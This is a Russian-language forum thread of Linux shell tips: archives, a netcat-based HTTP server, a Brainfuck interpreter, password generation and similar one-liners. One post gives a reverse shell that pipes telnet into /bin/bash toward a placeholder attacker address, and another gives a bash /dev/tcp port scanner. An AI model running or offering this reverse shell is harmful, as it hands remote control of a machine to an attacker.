Linux Tips'n'Tricks

Discussion in 'Безопасность и Анонимность' started by <Cyber-punk>, 13 Jul 2011.

  1. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    В этой теме я предлагаю выкладывать интересные команды и скрипты для linux.​

    Предположительно такой вид публикаций:

    {Что делает (коротко)}
    {Подробное описание}
    {Комманда в BB теге CODE}



    Я начну:

    Cамораспаковывающийся архив

    Создаем скрипт (для bz2-архивов):
    Code:
    #!/bin/sh
    
    sed -e '1,/^END_OF_SCRIPT$/d' $0 | base64 -d | tar -xj
    
    exit
    
    END_OF_SCRIPT
    
    
    и приписываем к нему любой tar.bz2-архив:

    Code:
    $ cat myrch.tar.bz2 | base64 >> scriptname.sh
    И просто запускаете его, для автоматического разархивирования в текущую папку.


    Сравнение web-страниц с wget

    Сравнение двух web-страниц с помощью wget.

    Code:
    diff <(wget -q -O - URL1) <(wget -q -O - URL2)

    Запись с дисплея в файл

    Запись текущего сеанса X.org в файл /tmp/out.mpg с помощью ffmpeg

    Code:
    ffmpeg -f x11grab -s `xdpyinfo | grep 'dimensions:'|  
    awk '{print $2}'` -r 25 -i :0.0 -sameq /tmp/out.mpg
    HTTP сервер на bash

    Вполне себе полноценный HTTP сервер, написаный на bash, одной строкой.

    Code:
    :; while [ $? -eq 0 ]; do nc -vlp 8080 -c'(r=read; e=echo;$r a b c; z=$r; while [ ${#z} -gt 2 ]; do $r z; done; f=`$e $b|sed 's/[^a-z0-9_.-]//gi'`; h=«HTTP/1.0»; o=«$h 200 OK\r\n»; c=«Content»; if [ -z $f ]; then($e $o; ls|(while $r n; do if [ -f «$n» ]; then $e «`ls -gh $n`»; fi; done);); elif [ -f $f ]; then $e «$o$c-Type: `file -ib $f`\n$c-Length: `stat -c%s $f`»;$e; cat $f; else $e -e «$h 404 Not Found\n\n404\n»; fi)'; done
    --

    Интерпретатор Brainfuck на Bash


    Маленький интерпретатор экзотичного языка программирования Brainfuck на Bash.

    Code:
    $ cat bf.sh
    #!/bin/bash
    C="s[0]=0; p=0;"
    while read -n1 c; do case $c in
    	\+) C="$C s[\$p]=\$((\${s[\$p]}+1));";;
    	\-) C="$C s[\$p]=\$((\${s[\$p]}-1));";;
    	\>) C="$C p=\$((\$p+1));";;
    	\<) C="$C p=\$((\$p-1));";;
    	\.) C="$C printf \\\\\$(printf '%03o' \${s[\$p]});";;
    	\,) C="$C read -n1 c; s[\$p]=\`printf '%d' \"'\$c\"\`;";;
    	\[) C="$C while [[ \${s[\$p]} > 0 ]]; do ";;
    	\]) C="$C done;";;
    esac; done < $1; 
    eval $C
    
    Целевой "Привет мир" на bf

    Code:
    ++++++++++[>+++++++>++++++++++>+++>+<<<<-]>++
    .>+.+++++++..+++.>++.<<+++++++++++++++.>.+++.
    ------.--------.>+.>.
    
    тестируем:

    Code:
    $ ./bf.sh hello.b
    Hello World!
    
    --

    Сканируем порты средствами bash

    Сканируем tcp порты с 1 по 1023 стандартными средствами bash.

    Code:
    for p in {1..1023}; do   (echo >/dev/tcp/localhost/$p) >/dev/null 2>&1 && echo "$p open"; done
    
    --

    Блокировка CD/DVD-привод

    Блокировка кнопки eject в CD/DVD-приводе:

    Блокировка:
    Code:
    eject -i 1
    Разблокировка:
    Code:
    eject -i 0
    ---

    Отправляем комп в спячку

    отправляем десктоп в спячку без прав суперпользователя:

    Code:
    dbus-send --system --print-reply --dest="org.freedesktop.Hal" /org/freedesktop/Hal/devices/computer org.freedesktop.Hal.Device.SystemPowerManagement.Hibernate
     
    _________________________
    #1 <Cyber-punk>, 13 Jul 2011
    Last edited: 13 Jul 2011
  2. StopSpam

    StopSpam Banned

    Joined:
    5 Jul 2011
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    соедини в один пост
    а в общем, интересно )
     
  3. .acme

    .acme Elder - Старейшина

    Joined:
    8 Nov 2007
    Messages:
    126
    Likes Received:
    36
    Reputations:
    4
    Может лучше в этой теме сделать подборку ссылок на всевозможные ресурсы об *nix like (только без убунтуводских форумов :D) ?
     
  4. .::f-duck::.

    .::f-duck::. Member

    Joined:
    30 May 2009
    Messages:
    343
    Likes Received:
    32
    Reputations:
    7
    Убунта не линукс? Или есть более весомые доводы, почему "без убунтоводских форумов"? Ааа, наверно, ты крутой Гентушник? Нет, сомневаюсь. Тогда Puppy Linux со всеми вытекающими. Да.
     
  5. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Кодирование фильма

    Кодирование фильма для комфортного просмотра на КПК:

    Code:
    $ mencoder berkova.avi -oac mp3lame -ovc lavc -lavcopts  
    
    
    vcodec=mpeg4:vhq:vqmin=2:vqmax=20:vmax_b_frames=2:vbitrate=100:vqcomp=0.6  
    
    
    -vop scale=220:165,eq=15 -ofps 20 -zoom -sws 2 -lameopts  
    
    
    cbr:br=32:aq=0:mode=3 -o berkova_pda.avi
     
    _________________________
  6. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Проверка PR


    Проверка PR введенного сайта через pr-cy.ru

    script.sh
    Code:
    #!/bin/bash
    echo -n "Enter site: "
    read site
    
    exec 3<> /dev/tcp/${1:-www.pr-cy.ru}/80
     
    printf "GET /analysis/$site HTTP/1.0\r\n" >&3
    printf "Accept: text/html, text/plain\r\n" >&3
    printf "Accept-Language: en\r\n" >&3
    printf "User-Agent: nixCraft_BashScript v.%s\r\n" "${BASH_VERSION}"   >&3
    printf "\r\n" >&3
     
    while read LINE <&3
    do
       # do something on $LINE
       # or send $LINE to grep or awk for grabbing data
       # or simply display back data with echo command
       echo PR - $LINE | grep "/10" | sed s/b//g | sed s/r//g | sed s/"<"//g | sed s/">"//g
    done
    
    Запуск:

    Code:
    cyber@cyber-punk ~ $ ./script.sh 
    Enter site: antichat.ru
    PR - 4/10/
    
     
    _________________________
  7. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Консольный Punto Switcher

    Транслирует английскую раскладку в русскую.

    Code:
    $ echo "Ghbdtn? rfr ltkf&" | sed "s/.*/\L&/;y|f,dult~;pbqrkvyjghcnea[wxioms]'.z&?|абвгдеёжзийклмнопрстуфхцчшщьыъэюя?,|"
     
    _________________________
    1 person likes this.
  8. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Листинг директорий без ls

    Может пригодиться в некоторых linux-firmware. К примеру, в моем D-Link DSL 2640U. Там в buzybox'е отсутствует команда ls.
    Вот варианты:

    Code:
    $ for i in * ; do echo $i ; done

    либо указывая конкретную директорию:

    Code:
    $ for i in /usr/* ; do echo $i ; done

    Для большего комфорта можно зарядить это в скриптик:

    Code:
    $ echo -e '#!/bin/sh\ntest !$1 && p=`pwd`\ntest $1 && p=$1\nfor i in $p/* ; do echo $i ; done' >/var/ls
    Code:
    $ chmod +x /var/ls
    
    Code:
    $ export PATH=PATH:/var/
    Посмотреть установленные расширения в Firefox

    Посмотреть все установленные расширения в firefox из консоли.

    Code:
    grep -hIr :name ~/.mozilla/firefox/*.default/extensions | tr '<>=' '"""' | cut -f3 -d'"' | sort -u
     
    _________________________
    #8 <Cyber-punk>, 4 Sep 2011
    Last edited: 4 Sep 2011
    2 people like this.
  9. fox_malder

    fox_malder Active Member

    Joined:
    28 Nov 2008
    Messages:
    162
    Likes Received:
    131
    Reputations:
    73
    классненькие скриптики :) будем пользоваться на досуге
     
  10. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Используем sed

    Удаление символов ^M с помощью sed

    Code:
    sed 's/'"$(printf '\015')"'$//g' имя_файла
    Используем rsync

    rsync через SSH:

    Code:
    rsync -avz -e ssh remoteuser@remotehost:/remote/dir /this/dir/ 
     
    _________________________
    #10 <Cyber-punk>, 13 Sep 2011
    Last edited: 13 Sep 2011
  11. dupD0M

    dupD0M Elder - Старейшина

    Joined:
    18 May 2010
    Messages:
    1,130
    Likes Received:
    74
    Reputations:
    34
    а как сюда скрипты пости?ну я имею ввиду только своего писания или можно любыеи чужые тож?
     
  12. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Любые, главное - полезные!
     
    _________________________
  13. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Копируем сорцы определённого сайта

    Копируем удалённо сорцы сайта через SSH:

    Code:
    tar --exclude={.svn,.hg,.git} -czpf - ./ | ssh login@host " tar -xzf - -C /var/www/site" 

    Перекодирование файлов

    Пакетное перекодирование файлов из windows-1251 в utf-8:

    Code:
    #!/bin/sh
    
    for i in `find . -name "*" -type f`
    
    do
    
    echo $i
    
    iconv -f WINDOWS-1251 -t UTF-8 "$i" > tmp
    
    mv -f tmp "$i"
     
    _________________________
  14. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Дамп БД

    Сообщение появится в windows во всплывающем окне:

    Code:
    $ echo "message" | smbclient -M имя_компьютера

    Youtube - сохранение роликов

    1)поставить youtube-dl

    Code:
    sudo aptitude install youtube-dl
    2)скормить youtube-dl ссылку на страницу с видео

    Code:
    $ youtube-dl http://www.youtube.com /watch?v=dRDmirJATKs

    Генерация случайного пароля

    Оригинальный способ генерации пароля:

    Code:
    $ cat /dev/urandom | tr -d -c 'a-zA-Z0-9' | fold -w 8 | head -1
     
    _________________________
    #14 <Cyber-punk>, 26 Sep 2011
    Last edited: 26 Sep 2011
  15. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Распаковка различных архивов

    Добавить в ~/.bashrc или ~/.profile

    Code:
      
    extract () {
    
        if [ -f $1 ] ; then
    
            case $1 in
    
                *.tar.bz2) tar xvjf $1   ;;
    
                *.tar.gz)  tar xvzf $1   ;;
    
                *.bz2)     bunzip2 $1    ;;
    
                *.rar)     unrar x $1    ;;
    
                *.gz)      gunzip $1     ;;
    
                *.tar)     tar xvf $1    ;;
    
                *.tbz2)    tar xvjf $1   ;;
    
                *.tgz)     tar xvzf $1   ;;
    
                *.zip)     unzip $1      ;;
    
                *.Z)       uncompress $1 ;;
    
                *.7z)      7z x $1       ;;
    
                *)         echo "'$1' cannot be extracted via >extract<" ;;
    
            esac
    
        else
    
            echo "'$1' is not a valid file"
    
        fi
    
    }
    
     
    _________________________
  16. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Загрузка графическая

    Реализовываем анимационную загрузку в коммандной строке. (Возможно понадобится в разных скриптах)

    Code:
    while :; do echo '\'; clear; echo "|"; clear; echo '-'; clear; echo "|"; clear; echo "/"; clear; done
    
    Внимание! Замените бесконечный while на свой!
     
    _________________________
    #16 <Cyber-punk>, 7 Oct 2011
    Last edited: 4 Nov 2011
  17. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Реверс шелл

    Реверс шелл стандартными unix средствами без netcat.

    Code:
    telnet [attacker_IPaddr] [port1] | /bin/bash | telnet
    [attacker_IPaddr] [port2
    
     
    _________________________
  18. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Транслятор в BrainFuck на баше.


    Транслятор в бренфак стандартными средствами баша.

    Code:
    echo -n "ToChtoKodiruem" | od -v -t u1 -w1 -A none |
        awk '{for(i=0;i<$0;i++)s=s"+";s=s".>"}END{sub(/.$/,"",s); print s;}'
    
     
    _________________________
  19. rad_scorp

    rad_scorp New Member

    Joined:
    9 Sep 2011
    Messages:
    12
    Likes Received:
    2
    Reputations:
    1
    Допилил немножко до неких стандартов:

    Code:
    cat /dev/urandom | tr -d -c 'a-zA-Z0-9!@#$%^&*()[]{};:,./\\\-+' | fold -w 12 | head -1
     
    G383G and <Cyber-punk> like this.
  20. <Cyber-punk>

    <Cyber-punk> Smash the Stack

    Joined:
    1 Oct 2009
    Messages:
    658
    Likes Received:
    315
    Reputations:
    430
    Шутер с псевдо-3D графикой на… bash

    Ну что можно добавить, адовая вещь!

    Подробнее - Хабр

    GitHub - Git
     
    _________________________